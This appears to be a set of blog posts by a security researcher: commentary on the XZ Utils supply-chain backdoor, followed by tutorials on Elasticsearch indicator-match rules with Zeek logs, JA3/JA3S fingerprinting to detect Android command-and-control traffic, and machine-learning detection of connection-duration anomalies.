What makes this actor particularly dangerous is their strategic foresight:

  1. Backdoor in Supply Chain: The backdoor was covertly embedded in binary test files within versions 5.6.0 and 5.6.1 of XZ Utils. It could execute malicious code with root privileges, triggered by specific encrypted payloads during SSH authentication attempts. This makes it a particularly dangerous and targeted supply chain attack​

2. Modularity for Future Exploits: The backdoor was designed to allow further payloads to be deployed later, reflecting a level of planning aimed at sustaining long-term control over targeted systems.

3. Widespread Use of XZ Utils: The affected software is integral to many Linux distributions, including Fedora, Debian, and Arch Linux. The backdoor’s presence in such a fundamental tool could potentially impact numerous systems if left unaddressed


4. Targeting Critical Infrastructure: XZ Utils is integral to the functioning of many Linux distributions. By compromising this tool, they created a pathway to potentially disrupt systems across industries.


5. Manipulation of Open-Source Processes: The attack involved exploiting the open-source project’s governance by gaining maintainer privileges through social engineering and community manipulation. This highlights risks in the maintenance of critical open-source projects​

This incident is a wake-up call. It reminds us that open-source communities must strengthen their governance, implement more rigorous review processes, and adopt proactive security measures to safeguard critical projects.

As we address this threat, let us work together to ensure the integrity of our digital infrastructure and reaffirm our commitment to trust and collaboration in technology.

Maybe its me being critical in here but further investigation must be in place to find out who is the preparatory.

Thank you.

Detection Engineering with Indicator Match from Threat Intel to match with network connection via Zeek Log on ElasticSearch

I should start posting about detection engineering but somehow I am too lazy to put in structured manner. Therefore, I created a canvas for future use of everyone on how to create matching rules from zeek logs and threat intelligence in Elasticsearch8.0.

Anyway, a lil introduction of detection engineering – Detection engineering is like the backbone of a security operations center (SOC) or a managed detection and response (MDR) service. It’s all about figuring out the best ways to detect sneaky cyber threats and protect digital spaces. This field is always changing because new threats are popping up all the time.

and what is indicator matching?

Indicator matching in Elasticsearch refers to the process of comparing search queries with indexed data to identify relevant documents or records that match the specified criteria. This matching is crucial for accurately retrieving search results and relevant information in Elasticsearch. The matching process involves several factors, including the search query syntax, analysis of indexed data, and relevance scoring to determine the best and most relevant matches.

This is my threat detection flaw to match with Elasticsearch:

In the is the screenshot from my canvas for detection engineering process flow and indicator matching creations.

How to start creating your own matching rules:

  1. On your ELK – go to:

    2. Select – Indicator Match

    3. Choose your index patterns, then create a customer rule and proceed with creating the rule for the threat intelligence

    4. Lastly, you can set the severity and score level for this alert

    Ok, now you can enjoy your rules that match with your OTX pulse (refer the canvas).

    Upgraded, installed JA3, and creating JA3 signature to detect mobile android command and control. (Proactive cybersecurity).

    After two years, I finally upgraded my Zeek from version 5.* to 7.01. I had been wanting to do this for a while, but with my focus on SOC capacity building and training, I didn’t have the time. Now that I’ve upgraded, and I went further by installing JA3/JA3s!

    From this screenshot, I shared my SIEM with TLS JA3/JA3 signature

    As a cybersecurity researcher and consultant, JA3 is a valuable tool in the arsenal of detecting and analyzing malware especially when its involved SSL/TLS. 

    • I was reading about JA3 and JA3s method to detect command and control – it is a quite impressive on how this JA3 methodology founded by 3 people that has same initial name J & A. 
    • Ja3 is a method for fingerprinting SSL/TLS clients based on the characteristics of the SSL handshake process.
    • It creates a unique hash that represents the specific SSL/TLS configuration used by a client, such as the cipher suites, extensions, and other parameters.
    • This hash can then be used to detect and identify specific SSL/TLS clients, including command and control (C2) servers, by comparing it to a database of known Ja3 hashes
    • This can be useful for detecting and blocking malicious SSL/TLS traffic, including C2 communications, in network security monitoring.
    • Security researchers and analysts can create signatures to detect known malware families, track malicious activity across different networks, and identify new threats based on their unique SSL fingerprints.

    As for now my threat hunting focusing on mobile threat hunting, I am going to use JA3/JA3s as one of my detection methods and to create unique signatures for any founded command and control from android phone.

    Mobile Threat Hunting: Detecting connection duration anomalies using machine learning on ELK

    In here, I used the [event.duration] to detection the duration of an event, for threat hunting, detecting unusually long connections, which might indicate suspicious or unauthorized activity.

    For this post, I am going to detect connectiong duration anomalies using machine learning, the purpose will automatically detects any unusual spikes or drops in connection times, aiding in proactive issue detection or threat hunting

    You can set up anomaly detection jobs to analyze event.duration and detect deviations from typical behavior.

    1. Go to Machine Learning > Create Job.
    2. Select the index with event.duration.
    3. Choose Single Metric and set event.duration as the metric.
    4. Enable Anomaly Detection with high_mean or high_variance analysis.

    Photo 1: Anomaly Detecting sing time series

    Photo 2: Highest severity anomaly